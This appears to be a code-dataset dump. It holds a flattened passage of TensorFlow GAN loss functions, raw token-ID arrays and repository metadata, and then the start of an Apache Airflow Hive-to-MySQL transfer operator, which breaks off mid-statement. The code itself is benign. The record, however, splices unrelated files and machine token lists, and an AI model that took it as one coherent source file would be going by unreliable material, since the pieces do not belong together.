ops.name_scope(scope, 'generator_minimax_loss') as scope: loss = - minimax_discriminator_loss( array_ops.ones_like(discriminator_gen_outputs), discriminator_gen_outputs, label_smoothing, weights, weights, scope, loss_collection, reduction, add_summaries=False) if add_summaries: summary.scalar('generator_minimax_loss', loss) return loss def modified_discriminator_loss( discriminator_real_outputs, discriminator_gen_outputs, label_smoothing=0.25, real_weights=1.0, generated_weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Same as minimax discriminator loss. See `Generative Adversarial Nets` (https://arxiv.org/abs/1406.2661) for more details. Args: discriminator_real_outputs: Discriminator output on real data. discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). label_smoothing: The amount of smoothing for positive labels. This technique is taken from `Improved Techniques for Training GANs` (https://arxiv.org/abs/1606.03498). `0.0` means no smoothing. real_weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_outputs`, and must be broadcastable to `discriminator_gen_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). generated_weights: Same as `real_weights`, but for `discriminator_gen_outputs`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ return minimax_discriminator_loss( discriminator_real_outputs, discriminator_gen_outputs, label_smoothing, real_weights, generated_weights, scope or 'discriminator_modified_loss', loss_collection, reduction, add_summaries) def modified_generator_loss( discriminator_gen_outputs, label_smoothing=0.0, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Modified generator loss for GANs. L = -log(sigmoid(D(G(z)))) This is the trick used in the original paper to avoid vanishing gradients early in training. See `Generative Adversarial Nets` (https://arxiv.org/abs/1406.2661) for more details. Args: discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). label_smoothing: The amount of smoothing for positive labels. This technique is taken from `Improved Techniques for Training GANs` (https://arxiv.org/abs/1606.03498). `0.0` means no smoothing. weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_outputs`, and must be broadcastable to `labels` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'generator_modified_loss', [discriminator_gen_outputs]) as scope: loss = losses.sigmoid_cross_entropy( array_ops.ones_like(discriminator_gen_outputs), discriminator_gen_outputs, weights, label_smoothing, scope, loss_collection, reduction) if add_summaries: summary.scalar('generator_modified_loss', loss) return loss # Least Squares loss from `Least Squares Generative Adversarial Networks` # (https://arxiv.org/abs/1611.04076). def least_squares_generator_loss( discriminator_gen_outputs, real_label=1, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Least squares generator loss. This loss comes from `Least Squares Generative Adversarial Networks` (https://arxiv.org/abs/1611.04076). L = 1/2 * (D(G(z)) - `real_label`) ** 2 where D(y) are discriminator logits. Args: discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). real_label: The value that the generator is trying to get the discriminator to output on generated data. weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_outputs`, and must be broadcastable to `discriminator_gen_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'lsq_generator_loss', (discriminator_gen_outputs, real_label)) as scope: discriminator_gen_outputs = math_ops.to_float(discriminator_gen_outputs) loss = math_ops.squared_difference( discriminator_gen_outputs, real_label) / 2.0 loss = losses.compute_weighted_loss( loss, weights, scope, loss_collection, reduction) if add_summaries: summary.scalar('generator_lsq_loss', loss) return loss def least_squares_discriminator_loss( discriminator_real_outputs, discriminator_gen_outputs, real_label=1, fake_label=0, real_weights=1.0, generated_weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Least squares generator loss. This loss comes from `Least Squares Generative Adversarial Networks` (https://arxiv.org/abs/1611.04076). L = 1/2 * (D(x) - `real`) ** 2 + 1/2 * (D(G(z)) - `fake_label`) ** 2 where D(y) are discriminator logits. Args: discriminator_real_outputs: Discriminator output on real data. discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). real_label: The value that the discriminator tries to output for real data. fake_label: The value that the discriminator tries to output for fake data. real_weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_real_outputs`, and must be broadcastable to `discriminator_real_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). generated_weights: Same as `real_weights`, but for `discriminator_gen_outputs`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'lsq_discriminator_loss', (discriminator_gen_outputs, real_label)) as scope: discriminator_real_outputs = math_ops.to_float(discriminator_real_outputs) discriminator_gen_outputs = math_ops.to_float(discriminator_gen_outputs) discriminator_real_outputs.shape.assert_is_compatible_with( discriminator_gen_outputs.shape) real_losses = math_ops.squared_difference( discriminator_real_outputs, real_label) / 2.0 fake_losses = math_ops.squared_difference( discriminator_gen_outputs, fake_label) / 2.0 loss_on_real = losses.compute_weighted_loss( real_losses, real_weights, scope, loss_collection=None, reduction=reduction) loss_on_generated = losses.compute_weighted_loss( fake_losses, generated_weights, scope, loss_collection=None, reduction=reduction) loss = loss_on_real + loss_on_generated util.add_loss(loss, loss_collection) if add_summaries: summary.scalar('discriminator_gen_lsq_loss', loss_on_generated) summary.scalar('discriminator_real_lsq_loss', loss_on_real) summary.scalar('discriminator_lsq_loss', loss) return loss # InfoGAN loss from `InfoGAN: Interpretable Representation Learning by # `Information Maximizing Generative Adversarial Nets` # https://arxiv.org/abs/1606.03657 def _validate_distributions(distributions): if not isinstance(distributions, (list, tuple)): raise ValueError('`distributions` must be a list or tuple. Instead, ' 'found %s.', type(distributions)) for x in distributions: if not isinstance(x, ds.Distribution): raise ValueError('`distributions` must be a list of `Distributions`. ' 'Instead, found %s.', type(x)) def _validate_information_penalty_inputs( structured_generator_inputs, predicted_distributions): """Validate input to `mutual_information_penalty`.""" _validate_distributions(predicted_distributions) if len(structured_generator_inputs) != len(predicted_distributions): raise ValueError('`structured_generator_inputs` length %i must be the same ' 'as `predicted_distributions` length %i.' % ( len(structured_generator_inputs), len(predicted_distributions))) def mutual_information_penalty( structured_generator_inputs, predicted_distributions, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Returns a penalty on the mutual information in an InfoGAN model. This loss comes from an InfoGAN paper https://arxiv.org/abs/1606.03657. Args: structured_generator_inputs: A list of Tensors representing the random noise that must have high mutual information with the generator output. List length should match `predicted_distributions`. predicted_distributions: A list of tf.Distributions. Predicted by the recognizer, and used to evaluate the likelihood of the structured noise. List length should match `structured_generator_inputs`. weights: Optional `Tensor` whose rank is either 0, or the same dimensions as `structured_generator_inputs`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A scalar Tensor representing the mutual information loss. """ _validate_information_penalty_inputs( structured_generator_inputs, predicted_distributions) with ops.name_scope(scope, 'mutual_information_loss') as scope: # Calculate the negative log-likelihood of the reconstructed noise. log_probs = [math_ops.reduce_mean(dist.log_prob(noise)) for dist, noise in zip(predicted_distributions, structured_generator_inputs)] loss = -1 * losses.compute_weighted_loss( log_probs, weights, scope, loss_collection=loss_collection, reduction=reduction) if add_summaries: summary.scalar('mutual_information_penalty', loss) return loss def _numerically_stable_global_norm(tensor_list): """Compute the global norm of a list of Tensors, with improved stability. The global norm computation sometimes overflows due to the intermediate L2 step. To avoid this, we divide by a cheap-to-compute max over the matrix elements. Args: tensor_list: A list of tensors, or `None`. Returns: A scalar tensor with the global norm. """ if np.all([x is None for x in tensor_list]): return 0.0 list_max = math_ops.reduce_max([math_ops.reduce_max(math_ops.abs(x)) for x in tensor_list if x is not None]) return list_max * clip_ops.global_norm([x / list_max for x in tensor_list if x is not None]) def _used_weight(weights_list): for weight in weights_list: if weight is not None: return tensor_util.constant_value(ops.convert_to_tensor(weight)) def _validate_args(losses_list, weight_factor, gradient_ratio): for loss in losses_list: loss.shape.assert_is_compatible_with([]) if weight_factor is None and gradient_ratio is None: raise ValueError( '`weight_factor` and `gradient_ratio` cannot both be `None.`') if weight_factor is not None and gradient_ratio is not None: raise ValueError( '`weight_factor` and `gradient_ratio` cannot both be specified.') # TODO(joelshor): Add ability to pass in gradients, to avoid recomputing. def combine_adversarial_loss(main_loss, adversarial_loss, weight_factor=None, gradient_ratio=None, gradient_ratio_epsilon=1e-6, variables=None, scalar_summaries=True, gradient_summaries=True, scope=None): """Utility to combine main and adversarial losses. This utility combines the main and adversarial losses in one of two ways. 1) Fixed coefficient on adversarial loss. Use `weight_factor` in this case. 2) Fixed ratio of gradients. Use `gradient_ratio` in this case. This is often used to make sure both losses affect weights roughly equally, as in https://arxiv.org/pdf/1705.05823. One can optionally also visualize the scalar and gradient behavior of the losses. Args: main_loss: A floating scalar Tensor indicating the main loss. adversarial_loss: A floating scalar Tensor indication the adversarial loss. weight_factor: If not `None`, the coefficient by which to multiply the adversarial loss. Exactly one of this and `gradient_ratio` must be non-None. gradient_ratio: If not `None`, the ratio of the magnitude of the gradients. Specifically, gradient_ratio = grad_mag(main_loss) / grad_mag(adversarial_loss) Exactly one of this and `weight_factor` must be non-None. gradient_ratio_epsilon: An epsilon to add to the adversarial loss coefficient denominator, to avoid division-by-zero. variables: List of variables to calculate gradients with respect to. If not present, defaults to all trainable variables. scalar_summaries: Create scalar summaries of losses. gradient_summaries: Create gradient summaries of losses. scope: Optional name scope. Returns: A floating scalar Tensor indicating the desired combined loss. Raises: ValueError: Malformed input. """ _validate_args([main_loss, adversarial_loss], weight_factor, gradient_ratio) if variables is None: variables = contrib_variables_lib.get_trainable_variables() with ops.name_scope(scope, 'adversarial_loss', values=[main_loss, adversarial_loss]): # Compute gradients if we will need them. if gradient_summaries or gradient_ratio is not None: main_loss_grad_mag = _numerically_stable_global_norm( gradients_impl.gradients(main_loss, variables)) adv_loss_grad_mag = _numerically_stable_global_norm( gradients_impl.gradients(adversarial_loss, variables)) # Add summaries, if applicable. if scalar_summaries: summary.scalar('main_loss', main_loss) summary.scalar('adversarial_loss', adversarial_loss) if gradient_summaries: summary.scalar('main_loss_gradients', main_loss_grad_mag) summary.scalar('adversarial_loss_gradients', adv_loss_grad_mag) # Combine losses in the appropriate way. # If `weight_factor` is always `0`, avoid computing the adversarial loss # tensor entirely. if _used_weight((weight_factor, gradient_ratio)) == 0: final_loss = main_loss elif weight_factor is not None: final_loss = (main_loss + array_ops.stop_gradient(weight_factor) * adversarial_loss) elif gradient_ratio is not None: grad_mag_ratio = main_loss_grad_mag / ( adv_loss_grad_mag + gradient_ratio_epsilon) adv_coeff = grad_mag_ratio / gradient_ratio summary.scalar('adversarial_coefficient', adv_coeff) final_loss = (main_loss + array_ops.stop_gradient(adv_coeff) * adversarial_loss) return final_loss def cycle_consistency_loss(data_x, reconstructed_data_x, data_y, reconstructed_data_y, scope=None, add_summaries=False): """Defines the cycle consistency loss. The cyclegan model has two partial models where `model_x2y` generator F maps data set X to Y, `model_y2x` generator G maps data set Y to X. For a `data_x` in data set X, we could reconstruct it by * reconstructed_data_x = G(F(data_x)) Similarly * reconstructed_data_y = F(G(data_y)) The cycle consistency loss is about the difference between data and reconstructed data, namely * loss_x2x = |data_x - G(F(data_x))| (L1-norm) * loss_y2y = |data_y - F(G(data_y))| (L1-norm) * loss = (loss_x2x + loss_y2y) / 2 where `loss` is the final result. See https://arxiv.org/abs/1703.10593 for more details. Args: data_x: A `Tensor` of data X. reconstructed_data_x: A `Tensor` of reconstructed data X. data_y: A `Tensor` of data Y. reconstructed_data_y: A `Tensor` of reconstructed data Y. scope: The scope for the operations performed in computing the loss. Defaults to None. add_summaries: Whether or not to add detailed summaries for the loss. Defaults to False. Returns: A scalar `Tensor` of cycle consistency loss. """ def _partial_cycle_consistency_loss(data, reconstructed_data): # Following the original implementation # https://github.com/junyanz/CycleGAN/blob/master/models/cycle_gan_model.lua # use L1-norm of pixel-wise error normalized by data size so that # `cycle_loss_weight` can be specified independent of image size. return math_ops.reduce_mean(math_ops.abs(data - reconstructed_data)) with ops.name_scope( scope, 'cycle_consistency_loss', values=[data_x, reconstructed_data_x, data_y, reconstructed_data_y]): loss_x2x = _partial_cycle_consistency_loss(data_x, reconstructed_data_x) loss_y2y = _partial_cycle_consistency_loss(data_y, reconstructed_data_y) loss = (loss_x2x + loss_y2y) / 2.0 if add_summaries: summary.scalar('cycle_consistency_loss_x2x', loss_x2x) summary.scalar('cycle_consistency_loss_y2y', loss_y2y) summary.scalar('cycle_consistency_loss', loss) return loss
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 44, 736, 874, 626, 787, 2997, 367, 6093, 598, 879, 83, 14, 199, 199, 1918, 21289, 13511, 370, 2877, 2446, 4652, 12, 1325, 2337, 787, 11789, 626, 886, 440, 26, 199, 17, 9, 671, 5336, 63, 4679, 63, 4358, 199, 18, 9, 671, 5336, 63, 328, 24565, 63, 4358, 199, 199, 9846, 26, 199, 17, 9, 1990, 332, 1597, 262, 63, 4679, 63, 4358, 199, 18, 9, 1990, 332, 1597, 262, 63, 328, 24565, 63, 4358, 199, 199, 8632, 2893, 26, 199, 10274, 332, 1597, 262, 63, 7490, 63, 26264, 199, 199, 2422, 21289, 1471, 506, 7688, 370, 4729, 413, 36, 503, 499, 36, 28373, 12, 880, 465, 370, 506, 9025, 543, 199, 2068, 39, 879, 3449, 21289, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 975, 845, 14, 1780, 7979, 680, 199, 199, 1378, 1852, 3520, 21289, 18025, 315, 314, 21721, 39, 879, 10059, 12, 8749, 1218, 282, 2008, 199, 1023, 402, 314, 21289, 543, 658, 17865, 63, 1208, 14, 647, 2313, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 2828, 14, 4857, 14, 1548, 14, 1483, 492, 2860, 465, 5914, 63, 3669, 63, 773, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1974, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11353, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1750, 63, 2645, 199, 504, 3228, 14, 1548, 14, 1483, 14, 5613, 492, 4084, 465, 6364, 199, 504, 3228, 14, 1548, 14, 1483, 14, 17865, 492, 21289, 199, 504, 3228, 14, 1548, 14, 1483, 14, 17865, 492, 4884, 199, 504, 3228, 14, 1548, 14, 4705, 492, 6212, 421, 199, 363, 452, 363, 275, 359, 272, 283, 645, 24975, 63, 328, 24565, 63, 4358, 297, 272, 283, 645, 24975, 63, 4679, 63, 4358, 297, 272, 283, 11790, 63, 20956, 63, 328, 24565, 63, 4358, 297, 272, 283, 11790, 63, 20956, 63, 4679, 63, 4358, 297, 272, 283, 5540, 63, 328, 24565, 63, 4358, 297, 272, 283, 5540, 63, 4679, 63, 4358, 297, 272, 283, 827, 5744, 63, 328, 24565, 63, 4358, 297, 272, 283, 827, 5744, 63, 4679, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 328, 24565, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 4679, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 7490, 63, 26264, 297, 272, 283, 6552, 1061, 63, 11697, 63, 26264, 297, 272, 283, 13307, 63, 350, 14895, 759, 279, 63, 4358, 297, 272, 283, 7612, 63, 20249, 63, 4358, 297, 199, 61, 421, 199, 3, 644, 305, 332, 1597, 262, 21289, 687, 658, 55, 305, 332, 1597, 262, 598, 879, 64, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 1196, 614, 14, 1780, 13357, 680, 199, 318, 1990, 332, 1597, 262, 63, 4679, 63, 4358, 8, 272, 487, 24565, 63, 2268, 63, 4467, 12, 272, 4931, 29, 17, 14, 16, 12, 272, 4194, 29, 403, 12, 272, 5621, 63, 3627, 29, 1483, 14, 19713, 14, 28010, 654, 12, 272, 16773, 29, 17865, 14, 29705, 14, 13285, 63, 8285, 63, 13887, 24655, 63, 25100, 51, 12, 272, 1050, 63, 19883, 29, 797, 304, 523, 408, 55, 305, 332, 1597, 262, 4306, 5621, 367, 598, 879, 83, 14, 819, 1666, 658, 55, 305, 332, 1597, 262, 598, 879, 64, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 1196, 614, 14, 1780, 13357, 9, 367, 1655, 2436, 14, 819, 3033, 26, 272, 487, 24565, 63, 2268, 63, 4467, 26, 5289, 1408, 827, 707, 1072, 641, 4046, 666, 14, 13796, 489, 370, 506, 315, 314, 1425, 402, 5868, 4904, 12, 10739, 680, 272, 4931, 26, 4879, 658, 3861, 64, 7447, 6915, 365, 1902, 378, 12, 503, 314, 2011, 6915, 465, 489, 658, 328, 24565, 63, 2268, 63, 4467, 3559, 436, 1471, 506, 11180, 461, 370, 489, 658, 328, 24565, 63, 2268, 63, 4467, 64, 334, 73, 14, 69, 2020, 1006, 7365, 1471, 506, 1902, 658, 17, 3559, 503, 489, 314, 2011, 465, 314, 5226, 6240, 680, 272, 4194, 26, 710, 4194, 367, 314, 5331, 10585, 315, 17226, 314, 5621, 14, 272, 5621, 63, 3627, 26, 3245, 370, 1314, 642, 5621, 911, 506, 3483, 14, 272, 16773, 26, 437, 658, 3249, 14, 17865, 14, 29705, 64, 370, 4838, 370, 5621, 14, 272, 1050, 63, 19883, 26, 7480, 503, 440, 370, 1050, 16212, 23747, 367, 314, 5621, 14, 819, 1803, 26, 272, 437, 5621, 5878, 14, 710, 2215, 8350, 641, 658, 22508, 2313, 523, 408, 523, 543, 4156, 14, 354, 63, 2645, 8, 2645, 12, 283, 4679, 63, 10274, 332, 1597, 262, 63, 4358, 297, 334, 489, 487, 24565, 63, 2268, 63, 4467, 12, 4931, 430, 465, 4194, 26, 272, 487, 24565, 63, 2268, 63, 4467, 275, 3473, 63, 1483, 14, 475, 63, 1609, 8, 328, 24565, 63, 2268, 63, 4467, 9, 339, 5621, 275, 446, 487, 24565 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 44, 736, 874, 626, 787, 2997, 367, 6093, 598, 879, 83, 14, 199, 199, 1918, 21289, 13511, 370, 2877, 2446, 4652, 12, 1325, 2337, 787, 11789, 626, 886, 440, 26, 199, 17, 9, 671, 5336, 63, 4679, 63, 4358, 199, 18, 9, 671, 5336, 63, 328, 24565, 63, 4358, 199, 199, 9846, 26, 199, 17, 9, 1990, 332, 1597, 262, 63, 4679, 63, 4358, 199, 18, 9, 1990, 332, 1597, 262, 63, 328, 24565, 63, 4358, 199, 199, 8632, 2893, 26, 199, 10274, 332, 1597, 262, 63, 7490, 63, 26264, 199, 199, 2422, 21289, 1471, 506, 7688, 370, 4729, 413, 36, 503, 499, 36, 28373, 12, 880, 465, 370, 506, 9025, 543, 199, 2068, 39, 879, 3449, 21289, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 975, 845, 14, 1780, 7979, 680, 199, 199, 1378, 1852, 3520, 21289, 18025, 315, 314, 21721, 39, 879, 10059, 12, 8749, 1218, 282, 2008, 199, 1023, 402, 314, 21289, 543, 658, 17865, 63, 1208, 14, 647, 2313, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 2828, 14, 4857, 14, 1548, 14, 1483, 492, 2860, 465, 5914, 63, 3669, 63, 773, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1974, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11353, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1750, 63, 2645, 199, 504, 3228, 14, 1548, 14, 1483, 14, 5613, 492, 4084, 465, 6364, 199, 504, 3228, 14, 1548, 14, 1483, 14, 17865, 492, 21289, 199, 504, 3228, 14, 1548, 14, 1483, 14, 17865, 492, 4884, 199, 504, 3228, 14, 1548, 14, 4705, 492, 6212, 421, 199, 363, 452, 363, 275, 359, 272, 283, 645, 24975, 63, 328, 24565, 63, 4358, 297, 272, 283, 645, 24975, 63, 4679, 63, 4358, 297, 272, 283, 11790, 63, 20956, 63, 328, 24565, 63, 4358, 297, 272, 283, 11790, 63, 20956, 63, 4679, 63, 4358, 297, 272, 283, 5540, 63, 328, 24565, 63, 4358, 297, 272, 283, 5540, 63, 4679, 63, 4358, 297, 272, 283, 827, 5744, 63, 328, 24565, 63, 4358, 297, 272, 283, 827, 5744, 63, 4679, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 328, 24565, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 4679, 63, 4358, 297, 272, 283, 10274, 332, 1597, 262, 63, 7490, 63, 26264, 297, 272, 283, 6552, 1061, 63, 11697, 63, 26264, 297, 272, 283, 13307, 63, 350, 14895, 759, 279, 63, 4358, 297, 272, 283, 7612, 63, 20249, 63, 4358, 297, 199, 61, 421, 199, 3, 644, 305, 332, 1597, 262, 21289, 687, 658, 55, 305, 332, 1597, 262, 598, 879, 64, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 1196, 614, 14, 1780, 13357, 680, 199, 318, 1990, 332, 1597, 262, 63, 4679, 63, 4358, 8, 272, 487, 24565, 63, 2268, 63, 4467, 12, 272, 4931, 29, 17, 14, 16, 12, 272, 4194, 29, 403, 12, 272, 5621, 63, 3627, 29, 1483, 14, 19713, 14, 28010, 654, 12, 272, 16773, 29, 17865, 14, 29705, 14, 13285, 63, 8285, 63, 13887, 24655, 63, 25100, 51, 12, 272, 1050, 63, 19883, 29, 797, 304, 523, 408, 55, 305, 332, 1597, 262, 4306, 5621, 367, 598, 879, 83, 14, 819, 1666, 658, 55, 305, 332, 1597, 262, 598, 879, 64, 334, 2859, 921, 27290, 14, 1308, 15, 2101, 15, 1196, 614, 14, 1780, 13357, 9, 367, 1655, 2436, 14, 819, 3033, 26, 272, 487, 24565, 63, 2268, 63, 4467, 26, 5289, 1408, 827, 707, 1072, 641, 4046, 666, 14, 13796, 489, 370, 506, 315, 314, 1425, 402, 5868, 4904, 12, 10739, 680, 272, 4931, 26, 4879, 658, 3861, 64, 7447, 6915, 365, 1902, 378, 12, 503, 314, 2011, 6915, 465, 489, 658, 328, 24565, 63, 2268, 63, 4467, 3559, 436, 1471, 506, 11180, 461, 370, 489, 658, 328, 24565, 63, 2268, 63, 4467, 64, 334, 73, 14, 69, 2020, 1006, 7365, 1471, 506, 1902, 658, 17, 3559, 503, 489, 314, 2011, 465, 314, 5226, 6240, 680, 272, 4194, 26, 710, 4194, 367, 314, 5331, 10585, 315, 17226, 314, 5621, 14, 272, 5621, 63, 3627, 26, 3245, 370, 1314, 642, 5621, 911, 506, 3483, 14, 272, 16773, 26, 437, 658, 3249, 14, 17865, 14, 29705, 64, 370, 4838, 370, 5621, 14, 272, 1050, 63, 19883, 26, 7480, 503, 440, 370, 1050, 16212, 23747, 367, 314, 5621, 14, 819, 1803, 26, 272, 437, 5621, 5878, 14, 710, 2215, 8350, 641, 658, 22508, 2313, 523, 408, 523, 543, 4156, 14, 354, 63, 2645, 8, 2645, 12, 283, 4679, 63, 10274, 332, 1597, 262, 63, 4358, 297, 334, 489, 487, 24565, 63, 2268, 63, 4467, 12, 4931, 430, 465, 4194, 26, 272, 487, 24565, 63, 2268, 63, 4467, 275, 3473, 63, 1483, 14, 475, 63, 1609, 8, 328, 24565, 63, 2268, 63, 4467,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
stverhae/incubator-airflow
airflow/operators/hive_to_mysql.py
44
4187
# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging from airflow.hooks.hive_hooks import HiveServer2Hook from airflow.hooks.mysql_hook import MySqlHook from airflow.models import BaseOperator from airflow.utils.decorators import apply_defaults from tempfile import NamedTemporaryFile class HiveToMySqlTransfer(BaseOperator): """ Moves data from Hive to MySQL, note that for now the data is loaded into memory before being pushed to MySQL, so this operator should be used for smallish amount of data. :param sql: SQL query to execute against the MySQL database :type sql: str :param mysql_table: target MySQL table, use dot notation to target a specific database :type mysql_table: str :param mysql_conn_id: source mysql connection :type mysql_conn_id: str :param hiveserver2_conn_id: destination hive connection :type hiveserver2_conn_id: str :param mysql_preoperator: sql statement to run against mysql prior to import, typically use to truncate of delete in place of the data coming in, allowing the task to be idempotent (running the task twice won't double load data) :type mysql_preoperator: str :param mysql_postoperator: sql statement to run against mysql after the import, typically used to move data from staging to production and issue cleanup commands. :type mysql_postoperator: str :param bulk_load: flag to use bulk_load option. This loads mysql directly from a tab-delimited text file using the LOAD DATA LOCAL INFILE command. This option requires an extra connection parameter for the destination MySQL connection: {'local_infile': true}. :type bulk_load: bool """ template_fields = ('sql', 'mysql_table', 'mysql_preoperator', 'mysql_postoperator') template_ext = ('.sql',) ui_color = '#a0e08c' @apply_defaults def __init__( self, sql, mysql_table, hiveserver2_conn_id='hiveserver2_default', mysql_conn_id='mysql_default', mysql_preoperator=None, mysql_postoperator=None, bulk_load=False, *args, **kwargs): super(HiveToMySqlTransfer, self).__init__(*args, **kwargs) self.sql = sql self.mysql_table = mysql_table self.mysql_conn_id = mysql_conn_id self.mysql_preoperator = mysql_preoperator self.mysql_postoperator = mysql_postoperator self.hiveserver2_conn_id = hiveserver2_conn_id self.bulk_load = bulk_load def execute(self, context): hive = HiveServer2Hook(hiveserver2_conn_id=self.hiveserver2_conn_id) logging.info("Extracting data from Hive") logging.info(self.sql) if self.bulk_load: tmpfile = NamedTemporaryFile() hive.to_csv(self.sql, tmpfile.name, delimiter='\t', 